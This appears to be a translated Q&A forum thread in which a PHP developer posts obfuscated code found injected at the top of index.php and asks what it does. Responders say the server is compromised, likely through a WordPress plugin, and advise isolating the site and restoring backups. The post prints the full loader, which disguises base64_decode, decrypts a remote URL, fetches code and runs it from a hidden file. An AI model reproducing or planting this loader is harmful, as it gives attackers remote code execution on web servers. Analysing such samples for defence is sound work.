【问题标题】:Injection hack php exploit informationInjection hack php 漏洞利用信息
【发布时间】:2016-12-09 10:41:56
【问题描述】:

作为我服务器上唯一没有其他人可以访问它的开发人员,我很想知道黑客是否可以以某种方式写入 php 文件?我在我的 index.php 顶部遇到了这部分 PHP 代码,我不熟悉它,我自己也没有把它放在那里。我不知道该怎么做,也不知道他们的尝试是什么,有点担心。感谢您的任何建议。

<?php
@ini_set('display_errors', '0');
error_reporting(0);
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5';
$pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
?>

【问题讨论】:

  • 您的服务器似乎已被入侵。看起来代码正在循环一些目录并尝试在那里的一些文件中写入内容。我会先恢复备份并安装最新更新。
  • 看起来你已经安装了一个 wordpress 并安装了一个被感染的插件或一个 badboy 插件:)

标签: php security fwrite


【解决方案1】:

我会隔离您的网站,直到您找到黑客最初是如何获得访问权限的。然后解决这个问题。如果之前的安全漏洞仍然存在,删除他的代码不会阻止他回来。它可能来自一些不安全的 wordpress 插件。

关于黑客代码,它似乎从任意 url 爬取并写入您的服务器。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2012-06-02
    • 2017-11-23
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-05-21
    • 1970-01-01
    相关资源
    最近更新 更多